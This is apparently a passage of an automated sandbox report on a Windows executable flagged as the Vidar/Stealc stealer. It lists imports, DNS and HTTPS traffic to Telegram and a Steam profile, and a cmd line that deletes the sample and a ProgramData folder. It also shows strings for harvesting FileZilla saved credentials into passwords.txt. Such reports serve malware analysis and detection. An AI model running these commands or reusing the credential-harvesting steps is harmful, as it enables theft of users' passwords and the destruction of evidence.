.text	0x1000	0x2dd65	0x2de00	e8aa6c337ce9c027228e60d7c8a3e586	False	0.5147468920299727	Matlab v4 mat-file (little endian) 6iB, numeric, rows 4386131, columns 0	6.470692539203612	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2f000	0xcb2a	0xcc00	4424ebd1db484b4743a8763a00ba57a5	False	0.6031901041666666	data	6.370843450493868	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3c000	0x2bdc6c	0xabc00	0a34f19411c6b7f3b8586a7fb3bcf2d4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2fa000	0xb0	0x200	3371c2710a84b430e78e8763896f0c7b	False	0.279296875	data	4.107998032934072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2fb000	0x4eba	0x5000	9d8cb2b8ea37e1e9d04750006146387f	False	0.51826171875	data	5.16752082657315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x2fa058	0x56	ASCII text, with CRLF line terminators	English	United States	1.0232558139534884

Imports

DLL	Import
msvcrt.dll	strncpy, malloc, _wtoi64, ??_V@YAXPAX@Z, atexit, strcpy_s, memchr, strchr, strtok_s, ??_U@YAPAXI@Z, _time64, srand, rand, memmove, __CxxFrameHandler3
KERNEL32.dll	GetEnvironmentStringsW, FreeEnvironmentStringsW, GetModuleFileNameA, HeapSize, WideCharToMultiByte, IsValidCodePage, GetOEMCP, ExitProcess, SetCriticalSectionSpinCount, FlsAlloc, HeapAlloc, GetCurrentProcess, HeapFree, VirtualFree, GetProcessHeap, WriteFile, VirtualAllocExNuma, Sleep, ReadFile, CreateFileW, lstrcatA, MultiByteToWideChar, GetTempPathW, GetLastError, lstrcmpiA, GetProcAddress, VirtualAlloc, GlobalMemoryStatusEx, ConvertDefaultLocale, lstrcmpiW, GetModuleHandleA, VirtualProtect, CloseHandle, lstrlenA, FreeLibrary, GetThreadContext, SetThreadContext, ReadProcessMemory, VirtualAllocEx, SetHandleCount, VirtualQueryEx, OpenProcess, GetComputerNameA, FileTimeToSystemTime, WaitForSingleObject, GetDriveTypeA, CreateProcessA, CreateDirectoryA, GetLogicalDriveStringsA, CreateThread, CreateFileA, GetFileSize, SetFilePointer, MapViewOfFile, UnmapViewOfFile, lstrcpynA, SystemTimeToFileTime, GetTickCount, GetLocalTime, CreateFileMappingA, GetFileInformationByHandle, lstrcpyA, HeapSetInformation, GetCommandLineA, HeapReAlloc, GetCPInfo, GetLocaleInfoW, LoadLibraryW, InterlockedExchange, SetConsoleCtrlHandler, IsProcessorFeaturePresent, GetCurrentThread, InterlockedDecrement, GetCurrentThreadId, SetLastError, InterlockedIncrement, GetACP, TlsFree, TlsSetValue, GetFileType, QueryPerformanceCounter, GetStartupInfoW, GetCurrentProcessId, GetSystemTimeAsFileTime, LCMapStringW, WriteProcessMemory, GetStringTypeW, TlsGetValue, TlsAlloc, RaiseException, IsValidLocale, EnumSystemLocalesA, GetLocaleInfoA, GetUserDefaultLCID, GetModuleFileNameW, GetStdHandle, GetModuleHandleW, HeapDestroy, HeapCreate, RtlUnwind, EnterCriticalSection, FatalAppExitA, LeaveCriticalSection, DeleteCriticalSection, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, InitializeCriticalSectionAndSpinCount
USER32.dll	GetDesktopWindow, OpenDesktopA, CreateDesktopA, CloseDesktop, OpenInputDesktop, wsprintfW, IsDialogMessageW, MessageBoxA, GetWindowLongW, ReleaseDC, GetWindowContextHelpId, SetThreadDesktop, RegisterClassW, IsWindowVisible, GetCursorPos, CharToOemA
GDI32.dll	CreateDCA, GetDeviceCaps
ADVAPI32.dll	RegGetValueA, RegOpenKeyExA, GetUserNameA, GetCurrentHwProfileA
SHELL32.dll	SHFileOperationA
ole32.dll	CoInitializeSecurity, CoSetProxyBlanket, CoCreateInstance, CoInitializeEx
OLEAUT32.dll	SysFreeString, VariantClear, VariantInit, SysAllocString
PSAPI.DLL	EnumProcessModules, GetModuleBaseNameA
SHLWAPI.dll

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 10:45:09.993742943 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:09.993777990 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:09.993838072 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:10.003761053 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:10.003777027 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.368971109 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.369102955 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.438479900 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.438510895 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.438771009 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.438823938 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.442833900 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.487325907 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.903562069 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.903589964 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.903628111 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.903630972 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.903657913 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.903672934 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.903675079 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:11.903712034 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.906546116 CET	49735	443	192.168.2.7	149.154.167.99
Dec 16, 2024 10:45:11.906562090 CET	443	49735	149.154.167.99	192.168.2.7
Dec 16, 2024 10:45:12.090080976 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:12.090138912 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:12.090257883 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:12.090786934 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:12.090804100 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:13.644279003 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:13.644366026 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:13.649317026 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:13.649323940 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:13.649555922 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:13.649606943 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:13.650319099 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:13.691334009 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.552854061 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.552881002 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.552920103 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.553107977 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.553107977 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.553132057 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.553180933 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.723874092 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.723901033 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.724054098 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.724073887 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.724255085 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.732969046 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.733146906 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.742121935 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.742194891 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.742202044 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.742244005 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.742316961 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.742333889 CET	443	49741	104.102.49.254	192.168.2.7
Dec 16, 2024 10:45:14.742368937 CET	49741	443	192.168.2.7	104.102.49.254
Dec 16, 2024 10:45:14.742387056 CET	49741	443	192.168.2.7	104.102.49.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 10:45:09.847338915 CET	52960	53	192.168.2.7	1.1.1.1
Dec 16, 2024 10:45:09.984891891 CET	53	52960	1.1.1.1	192.168.2.7
Dec 16, 2024 10:45:11.919352055 CET	60394	53	192.168.2.7	1.1.1.1
Dec 16, 2024 10:45:12.087879896 CET	53	60394	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 10:45:09.847338915 CET	192.168.2.7	1.1.1.1	0xf1d0	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:45:11.919352055 CET	192.168.2.7	1.1.1.1	0x7965	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 10:45:09.984891891 CET	1.1.1.1	192.168.2.7	0xf1d0	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 16, 2024 10:45:12.087879896 CET	1.1.1.1	192.168.2.7	0x7965	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

steamcommunity.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49735	149.154.167.99	443	6420	C:\Users\user\Desktop\njrtdhadawt.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:45:11 UTC	85	OUT	GET /asg7rd HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-16 09:45:11 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 16 Dec 2024 09:45:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9539 Connection: close Set-Cookie: stel_ssid=338d2b38f28578018d_12362536948919234430; expires=Tue, 17 Dec 2024 09:45:11 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-12-16 09:45:11 UTC	9539	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 73 67 37 72 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @asg7rd</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49741	104.102.49.254	443	6420	C:\Users\user\Desktop\njrtdhadawt.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:45:13 UTC	119	OUT	GET /profiles/76561199794498376 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-12-16 09:45:14 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 16 Dec 2024 09:45:14 GMT Content-Length: 35543 Connection: close Set-Cookie: sessionid=2a0ae2110795d9c095f145d0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-16 09:45:14 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-16 09:45:14 UTC	16384	IN	Data Raw: 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6d 61 72 6b 65 74 2f 22 3e 0a 09 09 09 09 09 09 4d 61 72 6b 65 74 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f Data Ascii: " href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuitem" href="https://steamcommunity.com/market/">Market</a><a class="submenuitem" href="https://steamcommunity.com/
2024-12-16 09:45:14 UTC	3768	IN	Data Raw: 69 6e 66 6f 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6c 65 76 65 6c 5f 62 74 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 70 72 6f 66 69 6c 65 73 2f 37 36 35 36 31 31 39 39 37 39 34 34 39 38 33 37 36 2f 62 61 64 67 65 73 22 3e Data Ascii: info"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="persona_level_btn" href="https://steamcommunity.com/profiles/76561199794498376/badges">
2024-12-16 09:45:14 UTC	924	IN	Data Raw: 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 09 09 09 3c 62 72 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 76 61 6c 76 65 5f 6c 69 6e 6b 73 22 3e 0a 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 70 72 69 76 61 63 79 5f 61 67 72 65 65 6d 65 6e 74 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 50 72 69 76 61 63 79 20 50 6f 6c 69 63 79 3c 2f 61 3e 0a 09 09 09 09 09 09 09 26 6e 62 73 70 3b 20 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 Data Ascii: 3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.<br><span class="valve_links"><a href="http://store.steampowered.com/privacy_agreement/" target="_blank">Privacy Policy</a>  \|  <a href="

Target ID:	0
Start time:	04:44:45
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\njrtdhadawt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\njrtdhadawt.exe"
Imagebase:	0xfe0000
File size:	965'632 bytes
MD5 hash:	96E4917EA5D59ECA7DD21AD7E7A03D07
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:11:53
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\Desktop\njrtdhadawt.exe" & rd /s /q "C:\ProgramData\AAKJKJDGCGDB" & exit
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:11:53
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:11:53
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x840000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	35

Executed Functions

Function 00FEE883 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1FDF: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00FF2020

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

Part of subcall function 00FF2042: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00FF6B0E,?), ref: 00FF205A

strtok_s.MSVCRT ref: 00FEE932
GetProcessHeap.KERNEL32(00000000,000F423F,01015957,01015956,0101593B,01015937), ref: 00FEE978
HeapAlloc.KERNEL32(00000000), ref: 00FEE97F
StrStrA.SHLWAPI(00000000,<Host>), ref: 00FEE993
lstrlenA.KERNEL32(00000000), ref: 00FEE99E
StrStrA.SHLWAPI(00000000,<Port>), ref: 00FEE9D2
lstrlenA.KERNEL32(00000000), ref: 00FEE9DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00FEEA0B
lstrlenA.KERNEL32(00000000), ref: 00FEEA16
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00FEEA44
lstrlenA.KERNEL32(00000000), ref: 00FEEA4F
lstrlenA.KERNEL32(?), ref: 00FEEAB5
lstrlenA.KERNEL32(?), ref: 00FEEAC9
lstrlenA.KERNEL32(00FEEECA), ref: 00FEEBF1

Part of subcall function 00FF7074: CreateThread.KERNEL32(00000000,00000000,00FF6FA3,?,00000000,00000000), ref: 00FF7113
Part of subcall function 00FF7074: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00FF711B

Strings

<Port>, xrefs: 00FEE9CC
<Host>, xrefs: 00FEE98D
Login: , xrefs: 00FEEB40
Soft: FileZilla, xrefs: 00FEEAFC
Password: , xrefs: 00FEEB62
<User>, xrefs: 00FEEA05
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00FEE8D3
<Pass encoding="base64">, xrefs: 00FEEA3E
Host: , xrefs: 00FEEB08
passwords.txt, xrefs: 00FEEC01

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
